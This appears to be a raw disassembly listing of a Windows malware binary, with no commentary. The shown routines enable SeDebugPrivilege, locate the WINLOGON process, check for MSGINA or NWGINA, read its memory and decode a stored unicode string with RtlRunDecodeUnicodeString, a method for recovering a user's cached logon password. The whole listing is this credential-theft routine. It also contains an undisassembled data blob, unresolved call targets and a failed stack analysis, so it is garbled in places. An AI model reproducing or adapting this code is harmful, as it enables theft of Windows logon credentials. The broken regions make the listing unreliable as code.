		lea	eax, [ebp+var_118]
		pop	ecx
		push	esi
		push	eax
		call	sub_41C266
		pop	ecx
		lea	eax, [ebp+var_98]
		pop	ecx
		push	esi
		push	eax
		call	sub_41C266
		pop	ecx
		pop	ecx


loc_416EE9:				; CODE XREF: sub_416DD9+DCj
		mov	eax, [ebp+arg_0]
		push	60h
		pop	ecx
		lea	esi, [ebp+var_198]
		mov	edi, eax
		rep movsd
		pop	edi
		pop	esi
		leave
		retn
sub_416DD9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416EFD	proc near		; CODE XREF: sub_416FCF+17p
					; sub_416FCF+60p

var_500		= byte ptr -500h
var_300		= byte ptr -300h
var_180		= byte ptr -180h
var_100		= byte ptr -100h
var_80		= byte ptr -80h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 500h
		push	ebx
		mov	ebx, [ebp+arg_C]
		push	esi
		push	edi
		lea	eax, [ebp+var_300]
		push	ebx
		push	eax
		call	sub_416DD9
		push	60h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_300]
		rep movsd
		push	60h
		lea	esi, [ebp+var_300]
		pop	ecx
		lea	edi, [ebp+var_180]
		lea	eax, [ebp+var_80]
		push	offset aFailed	; "failed"
		rep movsd
		push	eax
		call	sub_41CA50
		add	esp, 10h
		test	eax, eax
		jnz	short loc_416F70
		push	ebx
		push	ebx
		call	sub_416D48
		pop	ecx
		push	eax
		push	offset unk_4383FC
		lea	eax, [ebp+var_500]
		push	200h
		push	eax
		call	sub_41C360
		add	esp, 14h
		jmp	short loc_416FA4
; ---------------------------------------------------------------------------


loc_416F70:				; CODE XREF: sub_416EFD+4Dj
		lea	eax, [ebp+var_180]
		push	eax
		lea	eax, [ebp+var_100]
		push	eax
		lea	eax, [ebp+var_80]
		push	eax
		push	ebx
		push	ebx
		call	sub_416D48
		pop	ecx
		push	eax
		push	offset unk_4383C0
		lea	eax, [ebp+var_500]
		push	200h
		push	eax
		call	sub_41C360
		add	esp, 20h


loc_416FA4:				; CODE XREF: sub_416EFD+71j
		push	1
		lea	eax, [ebp+var_500]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		lea	eax, [ebp+var_500]
		push	eax
		call	sub_415D38
		add	esp, 18h
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_416EFD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416FCF	proc near		; CODE XREF: sub_401ACD+252Ep

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ebx
		xor	ebx, ebx
		cmp	[ebp+arg_C], ebx
		jz	short loc_416FF0
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_416EFD
		add	esp, 10h
		jmp	short loc_417051
; ---------------------------------------------------------------------------


loc_416FF0:				; CODE XREF: sub_416FCF+9j
		push	esi
		push	edi
		push	ebx
		push	ebx
		call	dword_4CB93C
		lea	esi, [eax+2]
		push	esi
		call	sub_41BEB5
		pop	ecx
		mov	edi, eax
		push	edi
		push	esi
		call	dword_4CB93C
		cmp	[edi], bl
		mov	esi, edi
		jz	short loc_417048


loc_417014:				; CODE XREF: sub_416FCF+77j
		push	offset off_438438
		push	esi
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_417037
		push	esi
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_416EFD
		add	esp, 10h


loc_417037:				; CODE XREF: sub_416FCF+54j
		push	esi
		call	sub_41B9C0
		cmp	[esi+eax+1], bl
		lea	esi, [esi+eax+1]
		pop	ecx
		jnz	short loc_417014


loc_417048:				; CODE XREF: sub_416FCF+43j
		push	edi
		call	sub_41BA91
		pop	ecx
		pop	edi
		pop	esi


loc_417051:				; CODE XREF: sub_416FCF+1Fj
		pop	ebx
		pop	ebp
		retn
sub_416FCF	endp

; ---------------------------------------------------------------------------
dword_417054	dd 81EC8B55h, 49CECh, 8458B00h,	0B9575653h, 0A7h, 0BD8DF08Bh
					; DATA XREF: sub_401ACD+67C1o
		dd 0FFFFFD64h, 80C7A5F3h, 298h,	1, 0FEEC858Dh, 0E850FFFFh
		dd 4938h, 0BC80DB33h, 0FFFEEB05h, 75595CFFh, 0EC858D14h
		dd 50FFFFFEh, 491FE8h, 9C885900h, 0FFFEEB05h, 0E8858DFFh
		dd 50FFFFFDh, 43845C68h, 64858D00h, 68FFFFFBh, 200h, 529AE850h
		dd 0C4830000h, 0F85D3910h, 8D532075h, 0FFFB6485h, 0F475FFFFh
		dd 68858D50h, 50FFFFFDh, 0FD64B5FFh, 7EE8FFFFh,	83FFFF27h
		dd 858D14C4h, 0FFFFFEECh, 858D5053h, 0FFFFFDE8h, 68858D50h
		dd 0FFFFFFFDh, 0FF50F475h, 0FFFD64B5h, 5DE8FFh,	0C4830000h
		dd 858D5018h, 0FFFFFB64h, 43843C68h, 3FE85000h,	83000051h
		dd 5D390CC4h, 532075F8h, 0FB64858Dh, 75FFFFFFh,	858D50F4h
		dd 0FFFFFD68h, 64B5FF50h, 0E8FFFFFDh, 0FFFF271Dh, 8D14C483h
		dd 0FFFB6485h, 0DDE850FFh, 0FFFFFFEBh, 73E8F075h, 59FFFF45h
		dd 0E8905359h, 22D8E94h, 555B5E5Fh, 0EC81EC8Bh,	54Ch, 0BE575653h
		dd 104h, 8D1875FFh, 0FFFDB885h,	84A068FFh, 50560043h, 51CBE8h
		dd 243D8B00h, 83004271h, 858D10C4h, 0FFFFFEBCh,	0B8858D50h
		dd 50FFFFFDh, 0F883D7FFh, 0FC4589FFh, 429AC0BBh, 0F6717400h
		dd 0FFFEBC85h, 547410FFh, 0FEE8BD80h, 752EFFFFh, 0E9BD8012h
		dd 0FFFFFEh, 0BD804274h, 0FFFFFEE9h, 8D39742Eh,	0FFFEE885h
		dd 858D50FFh, 0FFFFFCB4h, 531875FFh, 69E85056h,	0FF000051h
		dd 858D1C75h, 0FFFFFCB4h, 1475FF50h, 0FF1075FFh, 75FF0C75h
		dd 0FF5DE808h, 0C483FFFFh, 1C45892Ch, 0FEBC858Dh, 0FF50FFFFh
		dd 0D9E8FC75h, 9002378Dh, 8F75C085h, 90FC75FFh,	1C8DCBE8h
		dd 1475FF02h, 0FDB8858Dh, 75FFFFFFh, 50565318h,	5117E8h
		dd 14C48300h, 0FEBC858Dh, 8D50FFFFh, 0FFFDB885h, 0D7FF50FFh
		dd 0FE83F08Bh, 8D4F74FFh, 0FFFEE885h, 1C45FFFFh, 0B4858D50h
		dd 0FFFFFFFAh, 84681875h, 68004384h, 200h, 50DAE850h, 16A0000h
		dd 0FAB4858Dh, 75FFFFFFh, 75FF5010h, 875FF0Ch, 0FF25CCE8h
		dd 28C483FFh, 0FEBC858Dh, 5650FFFFh, 8D52E890h,	0C0850237h
		dd 0E856B175h, 21C8D48h, 1C458B90h, 0C95B5E5Fh
; ---------------------------------------------------------------------------
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4172C1	proc near		; DATA XREF: sub_401ACD+1C72o

var_29C		= byte ptr -29Ch
var_9C		= dword	ptr -9Ch
var_98		= byte ptr -98h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 29Ch
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	25h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_9C]
		push	1
		rep movsd
		pop	esi
		mov	[eax+90h], esi
		call	sub_41AE41
		cmp	eax, esi
		mov	[ebp+var_4], eax
		jz	short loc_417300
		cmp	eax, 2
		jz	short loc_417300
		push	offset unk_438678
		jmp	loc_41743F
; ---------------------------------------------------------------------------


loc_417300:				; CODE XREF: sub_4172C1+2Ej
					; sub_4172C1+33j
		push	esi
		push	offset aSedebugprivile ; "SeDebugPrivilege"
		call	sub_419B9E
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41743A
		push	ebx
		push	offset aNtdll_dll ; "NTDLL.DLL"
		nop
		call	near ptr 26C0000h
		mov	esi, dword_4270C4
		mov	edi, eax
		push	offset aNtquerysystemi ; "NtQuerySystemInformation"
		push	edi
		mov	[ebp+var_8], edi
		call	esi
		push	offset aRtlcreatequery ; "RtlCreateQueryDebugBuffer"
		push	edi
		mov	dword_4D483C, eax
		call	esi
		push	offset aRtlqueryproces ; "RtlQueryProcessDebugInformation"
		push	edi
		mov	dword_4D4830, eax
		call	esi
		push	offset aRtldestroyquer ; "RtlDestroyQueryDebugBuffer"
		push	edi
		mov	dword_4D4A40, eax
		call	esi
		push	offset aRtlrundecodeun ; "RtlRunDecodeUnicodeString"
		push	edi
		mov	dword_4D4838, eax
		call	esi
		mov	dword_4D4834, eax
		call	sub_417493
		test	eax, eax
		mov	[ebp+arg_0], eax
		jz	loc_41740D
		mov	esi, dword_427148
		mov	edi, 400h
		mov	ebx, offset dword_4D3830
		push	edi
		push	ebx
		push	offset off_4385B4
		call	esi
		push	edi
		mov	edi, offset dword_4D4030
		push	edi
		push	offset off_43859C
		call	esi
		cmp	[ebp+var_4], 1
		push	offset dword_4D4A48
		push	[ebp+arg_0]
		jnz	short loc_4173B9
		call	sub_41761C
		jmp	short loc_4173BE
; ---------------------------------------------------------------------------


loc_4173B9:				; CODE XREF: sub_4172C1+EFj
		call	sub_4177C3


loc_4173BE:				; CODE XREF: sub_4172C1+F6j
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_417406
		cmp	dword_4D4A48, 0
		jnz	short loc_4173ED
		push	ebx
		push	edi
		push	[ebp+arg_0]
		lea	eax, [ebp+var_29C]
		push	offset unk_438540
		push	200h
		push	eax
		call	sub_41C360
		add	esp, 18h
		jmp	short loc_417420
; ---------------------------------------------------------------------------


loc_4173ED:				; CODE XREF: sub_4172C1+10Aj
		cmp	[ebp+var_4], 1
		push	[ebp+arg_0]
		jnz	short loc_4173FD
		call	sub_4178F9
		jmp	short loc_417402
; ---------------------------------------------------------------------------


loc_4173FD:				; CODE XREF: sub_4172C1+133j
		call	sub_417990


loc_417402:				; CODE XREF: sub_4172C1+13Aj
		pop	ecx
		push	eax
		jmp	short loc_417412
; ---------------------------------------------------------------------------


loc_417406:				; CODE XREF: sub_4172C1+101j
		push	offset unk_438508
		jmp	short loc_417412
; ---------------------------------------------------------------------------


loc_41740D:				; CODE XREF: sub_4172C1+B6j
		push	offset unk_4384DC


loc_417412:				; CODE XREF: sub_4172C1+143j
					; sub_4172C1+14Aj
		lea	eax, [ebp+var_29C]
		push	eax
		call	sub_41C266
		pop	ecx
		pop	ecx


loc_417420:				; CODE XREF: sub_4172C1+12Aj
		push	0
		push	offset aSedebugprivile ; "SeDebugPrivilege"
		call	sub_419B9E
		pop	ecx
		pop	ecx
		push	[ebp+var_8]
		call	near ptr 27D081Ah
		nop
		pop	ebx
		jmp	short loc_41744D
; ---------------------------------------------------------------------------


loc_41743A:				; CODE XREF: sub_4172C1+4Ej
		push	offset unk_4384A8


loc_41743F:				; CODE XREF: sub_4172C1+3Aj
		lea	eax, [ebp+var_29C]
		push	eax
		call	sub_41C266
		pop	ecx
		pop	ecx


loc_41744D:				; CODE XREF: sub_4172C1+177j
		xor	esi, esi
		cmp	[ebp+var_10], esi
		jnz	short loc_417474
		push	esi
		lea	eax, [ebp+var_29C]
		push	[ebp+var_14]
		push	eax
		lea	eax, [ebp+var_98]
		push	eax
		push	[ebp+var_9C]
		call	sub_409869
		add	esp, 14h


loc_417474:				; CODE XREF: sub_4172C1+191j
		lea	eax, [ebp+var_29C]
		push	eax
		call	sub_415D38
		push	[ebp+var_18]
		call	sub_40B6D6
		pop	ecx
		pop	ecx
		push	esi
		call	near ptr 26F0000h
		nop
		pop	edi
		pop	esi
sub_4172C1	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_417493	proc near		; CODE XREF: sub_4172C1+ACp

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		sub	esp, 18h
		and	[esp+18h+var_4], 0
		and	[esp+18h+var_14], 0
		push	ebx
		push	ebp
		push	esi
		mov	esi, dword_427154
		mov	ebx, 100h
		push	edi
		push	ebx
		push	8
		call	esi
		mov	edi, dword_427150
		push	eax
		call	edi
		mov	ebp, eax
		lea	eax, [esp+28h+var_14]
		push	eax
		push	ebx
		push	ebp
		push	10h
		call	dword_4D483C
		push	ebp
		push	0
		call	esi
		push	eax
		call	near ptr 27E0580h
		nop
		push	[esp+28h+var_14]
		push	8
		call	esi
		push	eax
		call	edi
		mov	ebp, eax
		mov	eax, [esp+28h+var_14]
		lea	ecx, [esp+28h+var_C]
		mov	[esp+28h+var_C], eax
		push	ecx
		push	eax
		push	ebp
		push	10h
		call	dword_4D483C
		test	eax, eax
		jnz	short loc_417580
		mov	eax, [esp+28h+var_C]
		shr	eax, 4
		mov	[esp+28h+var_10], eax
		jz	short loc_417580
		push	1
		mov	ebx, ebp
		pop	ecx
		cmp	eax, ecx
		mov	[esp+28h+var_18], ecx
		jb	short loc_417580


loc_41751C:				; CODE XREF: sub_417493+EBj
		cmp	word ptr [ebx+8], 5
		jnz	short loc_417573
		push	0
		push	0
		call	dword_4D4830
		mov	edi, eax
		push	edi
		push	1
		push	dword ptr [ebx+4]
		call	dword_4D4A40
		test	eax, eax
		jnz	short loc_417564
		mov	eax, [edi+60h]
		push	offset aWinlogon ; "WINLOGON"
		mov	[esp+2Ch+var_8], eax
		lea	eax, [edi+80h]
		push	eax
		call	sub_41DE4A
		pop	ecx
		push	eax
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_417598


loc_417564:				; CODE XREF: sub_417493+AAj
		test	edi, edi
		jz	short loc_41756F
		push	edi
		call	dword_4D4838


loc_41756F:				; CODE XREF: sub_417493+D3j
		mov	eax, [esp+28h+var_10]


loc_417573:				; CODE XREF: sub_417493+8Ej
		add	ebx, 10h
		inc	[esp+28h+var_18]
		cmp	[esp+28h+var_18], eax
		jbe	short loc_41751C


loc_417580:				; CODE XREF: sub_417493+6Dj
					; sub_417493+7Aj ...
		xor	edi, edi


loc_417582:				; CODE XREF: sub_417493+17Dj
		push	ebp
		push	0
		call	esi
		push	eax
		nop
		call	near ptr 27E0580h
		mov	eax, edi


loc_417590:				; CODE XREF: sub_417493+184j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 18h
		retn
; ---------------------------------------------------------------------------


loc_417598:				; CODE XREF: sub_417493+CFj
		and	[esp+28h+var_10], 0
		cmp	[esp+28h+var_8], 0
		jbe	short loc_417601
		lea	eax, [edi+80h]
		mov	[esp+28h+var_18], eax


loc_4175AE:				; CODE XREF: sub_417493+16Cj
		add	[esp+28h+var_18], 11Ch
		push	offset aNwgina	; "NWGINA"
		push	[esp+2Ch+var_18]
		call	sub_41DE4A
		pop	ecx
		push	eax
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_417615
		push	offset aMsgina	; "MSGINA"
		push	[esp+2Ch+var_18]
		call	sub_41DE4A
		pop	ecx
		push	eax
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4175F3
		mov	eax, [ebx+4]
		mov	[esp+28h+var_4], eax


loc_4175F3:				; CODE XREF: sub_417493+157j
		inc	[esp+28h+var_10]
		mov	eax, [esp+28h+var_10]
		cmp	eax, [esp+28h+var_8]
		jb	short loc_4175AE


loc_417601:				; CODE XREF: sub_417493+10Fj
		test	edi, edi
		jz	short loc_41760C
		push	edi
		call	dword_4D4838


loc_41760C:				; CODE XREF: sub_417493+170j
		mov	edi, [esp+28h+var_4]
		jmp	loc_417582
; ---------------------------------------------------------------------------


loc_417615:				; CODE XREF: sub_417493+13Cj
		xor	eax, eax
		jmp	loc_417590
sub_417493	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41761C	proc near		; CODE XREF: sub_4172C1+F1p

var_64		= byte ptr -64h
var_60		= dword	ptr -60h
var_40		= byte ptr -40h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2B		= byte ptr -2Bh
var_24		= byte ptr -24h
var_14		= byte ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 64h
		push	esi
		xor	esi, esi
		push	[ebp+arg_0]
		mov	[ebp+var_10], esi
		push	esi
		push	410h
		nop
		call	near ptr 26906DBh
		cmp	eax, esi
		mov	[ebp+var_4], eax
		jnz	short loc_417645
		xor	eax, eax
		jmp	loc_4177C0
; ---------------------------------------------------------------------------


loc_417645:				; CODE XREF: sub_41761C+20j
		mov	eax, [ebp+arg_4]
		push	ebx
		push	edi
		mov	[eax], esi
		lea	eax, [ebp+var_64]
		push	eax
		nop
		call	near ptr 280025Dh
		push	[ebp+var_60]
		mov	[ebp+var_8], esi
		mov	esi, dword_427154
		push	8
		call	esi
		mov	edi, dword_427150
		push	eax
		call	edi
		lea	ecx, [ebp+var_8]
		mov	ebx, dword_42715C
		push	ecx
		mov	[ebp+arg_0], eax
		push	[ebp+var_60]
		push	eax
		push	7FFDF000h
		push	[ebp+var_4]
		call	ebx
		test	eax, eax
		jnz	short loc_417695
		xor	esi, esi
		jmp	loc_4177B3
; ---------------------------------------------------------------------------


loc_417695:				; CODE XREF: sub_41761C+70j
		lea	eax, [ebp+var_40]
		push	1Ch
		push	eax
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax+18h]
		push	[ebp+var_4]
		nop
		call	near ptr 27F0B6Ch
		test	eax, eax
		jz	loc_4177A2
		mov	ecx, [ebp+var_30]
		mov	eax, 1000h
		and	ecx, eax
		cmp	ecx, eax
		jnz	loc_4177A2
		test	[ebp+var_2B], 1
		jnz	loc_4177A2
		push	[ebp+var_34]
		push	8
		call	esi
		push	eax
		call	edi
		mov	edi, eax
		lea	eax, [ebp+var_8]
		push	eax
		mov	eax, [ebp+arg_0]
		push	[ebp+var_34]
		mov	[ebp+var_C], edi
		push	edi
		push	dword ptr [eax+18h]
		push	[ebp+var_4]
		call	ebx
		test	eax, eax
		jz	loc_4177A2


loc_4176F8:				; CODE XREF: sub_41761C+112j
		push	edi
		push	offset dword_4D3830
		call	sub_4263E5
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_417720
		lea	eax, [edi+200h]
		push	eax
		push	offset dword_4D4030
		call	sub_4263E5
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_417730


loc_417720:				; CODE XREF: sub_41761C+EBj
		mov	eax, [ebp+var_34]
		mov	ecx, [ebp+var_C]
		inc	edi
		add	eax, ecx
		inc	edi
		cmp	edi, eax
		jnb	short loc_4177A2
		jmp	short loc_4176F8
; ---------------------------------------------------------------------------


loc_417730:				; CODE XREF: sub_41761C+102j
		test	edi, edi
		jz	short loc_4177A2
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [edi+410h]
		push	eax
		nop
		call	near ptr 2780659h
		test	eax, eax
		jz	short loc_41776B
		lea	eax, [ebp+var_24]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		nop
		call	near ptr 2780000h
		test	eax, eax
		jz	short loc_41776B
		mov	al, [edi+42Ch]
		mov	ecx, [ebp+arg_4]
		shr	eax, 1
		and	eax, 7Fh
		mov	[ecx], eax


loc_41776B:				; CODE XREF: sub_41761C+12Bj
					; sub_41761C+13Dj
		movzx	eax, word ptr [edi+42Ch]
		shr	eax, 8
		mov	dword_4D4A54, eax
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_10], 1
		mov	eax, [eax+18h]
		sub	eax, [ebp+var_C]
		lea	eax, [eax+edi+434h]
		add	edi, 434h
		mov	dword_4D4A4C, eax
		mov	dword_4D4A50, edi


loc_4177A2:				; CODE XREF: sub_41761C+90j
					; sub_41761C+A2j ...
		push	[ebp+arg_0]
		push	0
		call	esi
		push	eax
		call	near ptr 27E0580h
		nop
		mov	esi, [ebp+var_10]


loc_4177B3:				; CODE XREF: sub_41761C+74j
		push	[ebp+var_4]
		call	near ptr 2680000h
		nop
		pop	edi
		mov	eax, esi
		pop	ebx


loc_4177C0:				; CODE XREF: sub_41761C+24j
		pop	esi
		leave
		retn
sub_41761C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4177C3	proc near		; CODE XREF: sub_4172C1:loc_4173B9p

var_4C		= byte ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_28		= byte ptr -28h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_13		= byte ptr -13h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 4Ch
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_0]
		push	0
		push	410h
		call	near ptr 26906DBh
		nop
		test	eax, eax
		mov	[ebp+arg_0], eax
		jz	loc_4178B5
		mov	eax, [ebp+arg_4]
		and	dword ptr [eax], 0
		lea	eax, [ebp+var_4C]
		push	eax
		nop
		call	near ptr 280025Dh
		mov	ebx, [ebp+var_44]
		mov	eax, [ebp+var_40]
		cmp	ebx, eax
		mov	[ebp+var_C], eax
		jnb	loc_4178AC
		mov	edi, dword_427154


loc_41780E:				; CODE XREF: sub_4177C3+E3j
		lea	eax, [ebp+var_28]
		push	1Ch
		push	eax
		push	ebx
		push	[ebp+arg_0]
		nop
		call	near ptr 27F0B6Ch
		test	eax, eax
		jz	short loc_41789A
		mov	edx, [ebp+var_18]
		mov	ecx, [ebp+var_1C]
		mov	eax, 1000h
		mov	[ebp+var_4], ecx
		and	edx, eax
		cmp	edx, eax
		jnz	short loc_4178A0
		test	[ebp+var_13], 1
		jnz	short loc_4178A0
		push	ecx
		push	8
		call	edi
		push	eax
		nop
		call	near ptr 27F0000h
		mov	esi, eax
		lea	eax, [ebp+var_8]
		push	eax
		and	[ebp+var_8], 0
		push	[ebp+var_1C]
		push	esi
		push	ebx
		push	[ebp+arg_0]
		nop
		call	near ptr 2800000h
		test	eax, eax
		jz	short loc_41788C
		push	offset dword_4D3830
		push	esi
		call	sub_4263E5
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41788C
		lea	eax, [esi+400h]
		push	offset dword_4D4030
		push	eax
		call	sub_4263E5
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4178BC


loc_41788C:				; CODE XREF: sub_4177C3+9Fj
					; sub_4177C3+B0j
		push	esi
		push	0
		call	edi
		push	eax
		nop
		call	near ptr 27E0580h
		jmp	short loc_4178A0
; ---------------------------------------------------------------------------


loc_41789A:				; CODE XREF: sub_4177C3+5Dj
		mov	eax, [ebp+var_48]
		mov	[ebp+var_4], eax


loc_4178A0:				; CODE XREF: sub_4177C3+71j
					; sub_4177C3+77j ...
		add	ebx, [ebp+var_4]
		cmp	ebx, [ebp+var_C]
		jb	loc_41780E


loc_4178AC:				; CODE XREF: sub_4177C3+3Fj
		push	[ebp+arg_0]
		nop
		call	near ptr 2680000h


loc_4178B5:				; CODE XREF: sub_4177C3+1Ej
		xor	eax, eax


loc_4178B7:				; CODE XREF: sub_4177C3+134j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_4178BC:				; CODE XREF: sub_4177C3+C7j
		add	ebx, 800h
		lea	eax, [esi+800h]
		xor	ecx, ecx
		mov	dword_4D4A4C, ebx
		mov	dword_4D4A50, eax
		cmp	[eax], cl
		jnz	short loc_4178DE
		cmp	[eax+1], cl
		jz	short loc_4178E6


loc_4178DE:				; CODE XREF: sub_4177C3+114j
					; sub_4177C3+121j
		inc	ecx
		inc	eax
		inc	eax
		cmp	byte ptr [eax],	0
		jnz	short loc_4178DE


loc_4178E6:				; CODE XREF: sub_4177C3+119j
		mov	eax, [ebp+arg_4]
		push	[ebp+arg_0]
		mov	[eax], ecx
		nop
		call	near ptr 2680000h
		push	1
		pop	eax
		jmp	short loc_4178B7
sub_4177C3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4178F9	proc near		; CODE XREF: sub_4172C1+135p

var_8		= word ptr -8
var_6		= word ptr -6
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, dword_4D4A48
		push	esi
		mov	esi, dword_427154
		push	edi
		lea	ecx, [eax+eax]
		lea	eax, [eax+eax+2]
		mov	[ebp+var_6], ax
		mov	[ebp+var_8], cx
		movzx	eax, ax
		push	eax
		push	8
		call	esi
		push	eax
		call	near ptr 27F0000h
		nop
		mov	ecx, dword_4D4A48
		mov	[ebp+var_4], eax
		add	ecx, ecx
		push	ecx
		push	dword_4D4A50
		push	eax
		call	sub_41CD20
		add	esp, 0Ch
		lea	eax, [ebp+var_8]
		push	eax
		mov	al, byte ptr dword_4D4A54
		push	eax
		call	dword_4D4834
		push	[ebp+var_4]
		mov	edi, offset dword_4D4840
		push	offset dword_4D3830
		push	offset dword_4D4030
		push	[ebp+arg_0]
		push	offset dword_4386C4
		push	200h
		push	edi
		call	sub_41C360
		add	esp, 1Ch
		push	[ebp+var_4]
		push	0
		call	esi
		push	eax
		call	near ptr 27E0580h
		nop
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn
sub_4178F9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417990	proc near		; CODE XREF: sub_4172C1:loc_4173FDp

var_18		= word ptr -18h
var_16		= word ptr -16h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_1		= byte ptr -1
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		mov	eax, dword_4D4A48
		push	ebx
		push	esi
		push	edi
		lea	ecx, [eax+eax]
		lea	eax, [eax+eax+2]
		mov	[ebp+var_16], ax
		mov	[ebp+var_18], cx
		movzx	eax, ax
		push	eax
		push	8
		call	near ptr 27F0B00h
		nop
		push	eax
		nop
		call	near ptr 27F0000h
		and	[ebp+var_C], 0
		mov	[ebp+var_14], eax
		mov	ebx, offset dword_4D4030
		mov	edi, 200h
		mov	esi, offset dword_4D3630


loc_4179D6:				; CODE XREF: sub_417990+FAj
		mov	eax, dword_4D4A48
		add	eax, eax
		push	eax
		push	dword_4D4A50
		push	[ebp+var_14]
		call	sub_41CD20
		add	esp, 0Ch
		lea	eax, [ebp+var_18]
		push	eax
		push	[ebp+var_C]
		call	dword_4D4834
		mov	eax, dword_4D4A48
		and	[ebp+var_10], 0
		mov	ecx, [ebp+var_14]
		mov	[ebp+var_8], 1
		test	eax, eax
		jbe	short loc_417A4B


loc_417A13:				; CODE XREF: sub_417990+B3j
		cmp	[ebp+var_8], 0
		jz	short loc_417A68
		mov	dl, [ecx]
		test	dl, dl
		mov	[ebp+var_1], dl
		jz	short loc_417A37
		cmp	byte ptr [ecx+1], 0
		jnz	short loc_417A37
		cmp	dl, 20h
		jnb	short loc_417A31
		and	[ebp+var_8], 0


loc_417A31:				; CODE XREF: sub_417990+9Bj
		cmp	[ebp+var_1], 7Eh
		jbe	short loc_417A3B


loc_417A37:				; CODE XREF: sub_417990+90j
					; sub_417990+96j
		and	[ebp+var_8], 0


loc_417A3B:				; CODE XREF: sub_417990+A5j
		inc	ecx
		inc	ecx
		inc	[ebp+var_10]
		cmp	[ebp+var_10], eax
		jb	short loc_417A13
		cmp	[ebp+var_8], 0
		jz	short loc_417A68


loc_417A4B:				; CODE XREF: sub_417990+81j
		push	[ebp+var_14]
		push	offset dword_4D3830
		push	ebx
		push	[ebp+arg_0]
		push	offset dword_4386C4
		push	edi
		push	esi
		call	sub_41C360
		add	esp, 1Ch
		jmp	short loc_417A80
; ---------------------------------------------------------------------------


loc_417A68:				; CODE XREF: sub_417990+87j
					; sub_417990+B9j
		push	offset dword_4D3830
		push	ebx
		push	[ebp+arg_0]
		push	offset dword_438714
		push	edi
		push	esi
		call	sub_41C360
		add	esp, 18h


loc_417A80:				; CODE XREF: sub_417990+D6j
		inc	[ebp+var_C]
		cmp	[ebp+var_C], 0FFh
		jbe	loc_4179D6
		push	[ebp+var_14]
		push	0
		nop
		call	near ptr 27F0B00h
		push	eax
		nop
		call	near ptr 27E0580h
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_417990	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417AA9	proc near		; CODE XREF: sub_417C61+2Fp

var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	esi
		push	edi
		push	0
		push	1
		push	2
		call	dword_4CBA54
		mov	edi, eax
		or	esi, 0FFFFFFFFh
		cmp	edi, esi
		jz	short loc_417B25
		push	10h
		lea	eax, [ebp+var_10]
